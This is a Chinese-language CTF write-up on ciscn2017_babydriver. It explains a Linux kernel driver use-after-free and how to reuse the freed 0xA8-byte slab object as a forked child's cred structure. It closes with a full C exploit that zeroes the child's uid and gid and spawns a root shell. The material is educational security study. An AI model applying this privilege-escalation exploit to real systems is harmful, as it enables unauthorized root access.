linux kernel pwn学习之UAF

Linux Kernel UAF

与用户态下的glibc差不多,都是对已经释放的空间未申请就直接使用,内核的UAF往往是出现在多线程多进程多文件的情况下。即,假如某个用户程序对用一个内核驱动文件打开了两次,有两个文件描述符,它们都指向了该驱动,又因为是在同一个程序里,所以当我们释放掉其中一个文件描述符后,还可以使用另一个文件描述符来操控驱动。

为了加深理解,我们就以一题为例

ciscn2017_babydriver

我们用IDA分析一下驱动程序,ioctl函数定义了一个交互命令0x10001,作用是释放之前的堆,申请一个用户指定大小的堆。

linux kernel pwn学习之UAF_第1张图片

在单文件的情况下,没有问题,加入我们在程序里,对该驱动程序,打开了两个文件描述符,先利用第一个文件描述符来与驱动交互,申请一个堆。然后关闭第一个文件描述符。在关闭文件描述符时,对应的close函数会被调用

linux kernel pwn学习之UAF_第2张图片

该函数释放了堆。然而,我们仍然可以使用第二个文件描述符来对这个堆进行读写操作。,这就造成了UAF

Linux kernel 使用slab/slub来分配内存,与glibc下的ptmalloc相同点是,如果在空闲的堆里存在符合申请的大小的堆,则直接把这个堆处理后返回给申请方。为了提权,关键就是修改进程的cred结构,而进程的cred结构也是保存在堆里,进程创建时,就会申请cred结构的空间,来存放cred结构。如果cred结构申请到我们能控制的空间里,那么我们就能自由修改cred结构,实现提权。

为了实现这个目的,我们可以申请一个与cred结构大小相等的堆,然后释放掉。这样,如果我们接下来fork一个子进程,那么子进程申请cred结构的空间时,发现空闲堆里有符合的堆,则拿过来用,而这个堆正是我们UAF能够控制的。利用UAF,把cred结构里的uidgid等覆盖为0,即可得到root权限。至于cred的大小如何确定,有两种方法,第一种是查看对应版本的linux内核源码;第二种则是写一个简易的c语言程序,输出cred的大小。

本题的linux内核版本为4.4.72cred结构大小为0xA8

知道了以上的原理后,我们就可以编写exploit.c程序来提权了。

#include 
#include 
#include 
#include 
#include 
#include 
#include 

int main() {
   int fd1 = open("/dev/babydev",O_RDWR);
   int fd2 = open("/dev/babydev",O_RDWR);
   char buf[30];
   if (fd1 < 0 || fd2 < 0) {
      printf("open file error!!\n");
      exit(-1);
   }
   //申请一个与cred结构体大小一样的堆
   ioctl(fd1,0x10001,0xA8);
   //释放这个堆
   close(fd1);
   int pid = fork();
   if (pid < 0) {
      printf("[-]fork error!!\n");
      exit(-1);
   } else if (pid == 0) { //子进程
      //UAF,通过fd2,覆盖子进程的cred结构里的几个uid、gid
      memset(buf,0,28);
      write(fd2,buf,28);
      if (getuid() == 0) {
         printf("[+]rooted!!\n");
         system("/bin/sh");
      }
   } else { //父进程等待子进程结束
      wait(NULL);
   }
   close(fd2);
   return 0;
}

你可能感兴趣的:(pwn,CTF,二进制漏洞)